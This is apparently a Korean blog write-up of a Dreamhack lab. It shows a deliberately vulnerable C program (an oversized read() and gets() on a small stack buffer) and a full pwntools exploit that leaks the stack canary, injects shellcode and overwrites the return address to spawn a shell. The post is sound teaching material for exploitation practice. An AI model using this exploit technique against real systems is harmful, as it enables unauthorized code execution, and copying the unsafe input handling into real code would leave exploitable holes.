이번 게시글에서는 Canary를 우회하여 Return Address Overwrite를 통해 Shell을 획득하는 실습에 대해 다뤄볼 것이다.
소스코드
//소스코드명: r2s.c
//파일명: r2s
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
Step 1) 이 코드에서
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
에는 buf의 크기보다 큰 값을 read 하여 buf에 저장하는 것을 볼 수 있다. 이를 통해 Canary Leak을 활용하여 Canary 값을 유출시킬 수 있을 것이다.
Step 2) 그 후
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
를 통해 buf에 값을 저장할 때, Step 1에서 유출해낸 Canary 값을 Stack Buffer Overflow에 이용하여, Canary 보호 기법을 우회하여 Return Address를 바꿔낼 수 있다.
Step 3) 이 실습에서는 편의를 위해
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
를 통해 buf의 주소와, buf와 rbp 사이의 offset을 알려준다. 그러므로 buf에 shellcode를 넣고 Return Address를 buf의 주소값으로 설정하면 성공적으로 shell을 획득할 수 있을 것이다.
익스플로잇
Step 1) r2s를 실행해보면 다음과 같은 출력이 이루어진다
이를 통해, 1. buf의 주소와 2. buf와 rbp 사이의 주소값을 알아낼 수 있다.
Step 2) Canary가 적용된 Stack Frame은 다음과 같은 구조를 갖고 있다.
그러므로, buf에 값을 입력할 때 dummy값을 0x59(buf크기+1)만큼 넣어주면 Canary를 Leak 할 수 있을 것이다.
Canary를 Leak 하기 위해 짠 익스플로잇은 다음과 같다
from pwn import *
context.arch = "amd64"
#p = remote('host3.dreamhack.games', 11228)
p = process('./r2s')
p.recvuntil(b'0x')
buf = int(p.recvn(12), 16)
print('Address of buf:', hex(buf))
p.recvuntil(b'rbp: ')
dist = int(p.recv(2))
dist_canary = dist-8
print('buf <-> sfp:', hex(dist))
print('buf <-> canary:', hex(dist_canary))
payload = b'A'*(dist_canary+1)
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recvn(7))
print("Canary:", hex(canary))
이를 실행시키면 다음과 같은 결과를 얻을 수 있다.
Step 3) 이를 통해 1. buf와 Canary 사이의 offset, 2. Canary 값을 알아냈으므로 이제 Canary를 우회하여 Return Address Overwrite만 수행해주면 된다.
sh = asm(shellcraft.sh())
payload = sh + b'A'*(88-len(sh)) + p64(canary) + b'A'*8 + p64(buf)
p.sendafter('Input: ', payload)
p.interactive()
따라서 다음의 코드를 추가해줬으며,
전체 익스플로잇 코드는 다음과 같다
from pwn import *
context.arch = "amd64"
#p = remote('host3.dreamhack.games', 11228)
p = process('./r2s')
p.recvuntil(b'0x')
buf = int(p.recvn(12), 16)
print('Address of buf:', hex(buf))
p.recvuntil(b'rbp: ')
dist = int(p.recv(2))
dist_canary = dist-8
print('buf <-> sfp:', hex(dist))
print('buf <-> canary:', hex(dist_canary))
payload = b'A'*(dist_canary+1)
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recvn(7))
print("Canary:", hex(canary))
sh = asm(shellcraft.sh())
payload = sh + b'A'*(88-len(sh)) + p64(canary) + b'A'*8 + p64(buf)
p.sendafter('Input: ', payload)
p.interactive()
그리고 이를 실행해보면, 다음과 같이
shell을 성공적으로 획득했음을 확인할 수 있다.
ps. Stage6 [함께 실습]의 "Return to Shellcode"는 이와 완전히 유사하므로 이 게시글을 참고한다면 충분히 해결할 수 있을 것이다.